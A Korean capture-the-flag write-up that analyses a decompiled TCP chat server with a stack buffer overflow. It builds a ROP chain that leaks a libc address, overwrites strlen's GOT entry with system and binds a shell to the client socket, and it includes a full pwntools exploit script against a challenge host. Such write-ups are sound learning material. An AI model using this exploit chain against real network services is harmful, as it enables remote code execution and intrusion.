
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int v3; // eax
size_t v4; // rax
size_t v5; // rax
_QWORD buf[97]; // [rsp+0h] [rbp-340h] BYREF
int optval; // [rsp+308h] [rbp-38h] BYREF
socklen_t addr_len; // [rsp+30Ch] [rbp-34h] BYREF
sockaddr addr; // [rsp+310h] [rbp-30h] BYREF
char *format; // [rsp+320h] [rbp-20h]
int v12; // [rsp+32Ch] [rbp-14h]
int v13; // [rsp+330h] [rbp-10h]
int fd; // [rsp+334h] [rbp-Ch]
char *s; // [rsp+338h] [rbp-8h]
addr_len = 16;
optval = 1;
memset(buf, 0, 768);
s = "Welcome to the TCP Chat Server!\n";
v3 = time(0);
srand(v3);
fd = socket(2, 1, 0);
if ( !fd )
{
perror("Socket failed");
exit(1);
}
if ( setsockopt(fd, 1, 2, &optval, 4u) )
{
perror("setsockopt failed");
close(fd);
exit(1);
}
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = 0;
*(_WORD *)addr.sa_data = htons(0x7A69u);
if ( bind(fd, &addr, 0x10u) < 0 )
{
perror("Bind failed");
close(fd);
exit(1);
}
if ( listen(fd, 5) < 0 )
{
perror("Listen failed");
close(fd);
exit(1);
}
printf("Server is listening on port %d\n", 31337);
v13 = accept(fd, &addr, &addr_len);
if ( v13 < 0 )
{
perror("Accept failed");
close(fd);
exit(1);
}
v4 = strlen(s);
send(v13, s, v4, 0);
puts("Welcome message sent to client.");
while ( 1 )
{
memset(buf, 0, 0x300u);
v12 = read(v13, buf, 0x600u);
if ( v12 <= 0 )
break;
if ( !strncmp((const char *)buf, "/quit\n", 6u) )
return 0;
printf("Client: %s", (const char *)buf);
printf("Server: ");
sleep(2u);
format = off_4040E0[rand() % 0x14uLL];
printf(format);
v5 = strlen(format);
send(v13, format, v5, 0);
}
puts("Client disconnected.");
return 0;
}
단순한 TCP 채팅 서버이다.
여기서 read(v13, buf, 0x600)에서 BOF가 발생한다.
함수 프레임은 다음과 같다.
-0000000000000340 _QWORD buf;
-0000000000000338 _QWORD var_338;
-0000000000000330 _BYTE var_330;
...
-0000000000000014 _DWORD var_14;
-0000000000000010 int var_10;
-000000000000000C int fd;
-0000000000000008 char *s;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
따라서 중요한 오프셋은 두 개이다.
즉 버퍼 0x330을 더미로 채우고 v13을 4로, fd 더미4바이트, C더미 8바이트, D더미 8바이트로 채우고 return address에 ROP chain을 박을 수 있다.
여기서 v13을 4로 맞춰줘야한다. 이 프로그램은 3을 listening socket, 4를 accepted client socket으로 잡기 때문에 이후 send()와 read()를 계속 소켓에 대해 호출하려면 v13이 깨지면 안된다.
또 payload를 보냈다고 바로 ret하지 않는다. 함수가 루프 안에 있기 때문에 첫 입력으로 saved RIP를 덮고 두 번째 입력으로 /quit을 보내면 그때 return 0으로 빠지기 때문에 덮었던 RIP가 실행된다.

먼저 send(4, read@got, 8, 0)으로 read의 got주소를 leak해서 libc leak을 하고
두번째로 read(4, strlen@got, 8)을 통해 strlen@got를 system 주소로 바꾸는 got overwrite를 수행한다.
세번째로는 read(4, cmd_addr, len(cmd))로 쓰기 가능한 영역에 명령 문자열을 쓰고 strlen@plt(cmd_addr)을 호출한다.
strlen@got를 쓰는 이유는 인자가 1개라서 편하기 때문에 썼다.

cmd_addr은 0x4040e0을 썼다. 원래는 위와 같이 랜덤 응답 문자열 포인터 테이블이 있던 data 영역이지만 쓰기 가능하고 딱히 쓸일이 없어서 여기를 덮었다.

필요한 가젯들도 모두 있다.
payload += p64(pop4)
payload += p64(0) # rcx = flags
payload += p64(8) # rdx = len
payload += p64(e.got['read']) # rsi = buf
payload += p64(4) # rdi = sockfd
payload += p64(e.plt['send'])
첫번째로 send(4, read@got, 8, 0)를 구성하기 위해 위와 같이 페이로드를 짜고 날린다.
이후 GOT overwrite read(4, strlen@got, 8)를 위해 다음과 같이 페이로드를 짠다.
payload += p64(pop4)
payload += p64(0)
payload += p64(8)
payload += p64(e.got['strlen'])
payload += p64(4)
payload += p64(e.plt['read'])
여기서 system 주소를 보내면 그 값이 strlen@got를 덮는다.
이후 read(4, cmd_addr, len(cmd))를 위해 다음과 같이 페이로드를 짠다.
payload += p64(pop4)
payload += p64(0)
payload += p64(len(cmd))
payload += p64(0x4040e0)
payload += p64(4)
payload += p64(e.plt['read'])
마지막으로 다음과 같이 페이로드를 날리면 셸을 획득할 수 있다
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(0x4040e0) # cmd_addr
payload += p64(e.plt['strlen'])
from pwn import *
p = remote('host8.dreamhack.games', 17373)
e = ELF('./chall')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
pop4 = 0x401396
pop_rdi = 0x401399
ret = 0x40101a
sock_fd = 4
cmd_addr = 0x4040e0
cmd = b'sh <&4 >&4 2>&4\x00'
p.recvline()
payload = b'A' * 0x330
payload += p32(4)
payload += b'B' * 4
payload += b'C' * 8
payload += b'D' * 8
payload += p64(pop4)
payload += p64(0)
payload += p64(8)
payload += p64(e.got['read'])
payload += p64(sock_fd)
payload += p64(e.plt['send'])
payload += p64(pop4)
payload += p64(0)
payload += p64(8)
payload += p64(e.got['strlen'])
payload += p64(sock_fd)
payload += p64(e.plt['read'])
payload += p64(pop4)
payload += p64(0)
payload += p64(len(cmd))
payload += p64(cmd_addr)
payload += p64(sock_fd)
payload += p64(e.plt['read'])
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(cmd_addr)
payload += p64(e.plt['strlen'])
p.send(payload)
print(p.recv())
p.sendline(b'/quit')
read_leak = u64(p.recvn(8))
libc_base = read_leak - libc.sym['read']
system = libc_base + libc.sym['system']
print(f'read leak = {hex(read_leak)}')
print(f'libc base = {hex(libc_base)}')
print(f'system = {hex(system)}')
p.send(p64(system))
p.send(cmd)
p.interactive()
여기서 cmd에 b'sh <&4 >&4 2>&4\x00'와 같이 넣는 이유는 이 바이너리가 표준입출력 프로그램이 아니라 TCP 서버라서 우리가 통신하는 통로는 stdin/stdout이 아니라 소켓 fd 4이다. 따라서 셸을 띄워도 그 셸의 입출력이 fd 4에 연결되지 않으면 원격에서 명령을 넣고 결과를 받을 수 없다.
문자열을 쪼개서 보면 다음과 같다.
이렇게 하지 않으면 셸의 입출력이 소켓이 아니라 원래 프로세스의 stdio를 보기 때문에 클라이언트에서 셸이 뜨지 않는다.
TCP 서버의 스택 버퍼 오버플로우를 이용해 함수 got를 leak하고 got overwrite로 system으로 덮은 뒤 셸을 획득하는 ret2libc 문제엿다.
먼저 TCP 소켓 통신을 하는 프로그램을 가지고 익스를 해보는건 처음이라 색달랐고 오랜만에 ROP 문제를 풀어서 반가웠다
근데 너무 어려웠다
+ 그리고 정리를 너무 못한거같다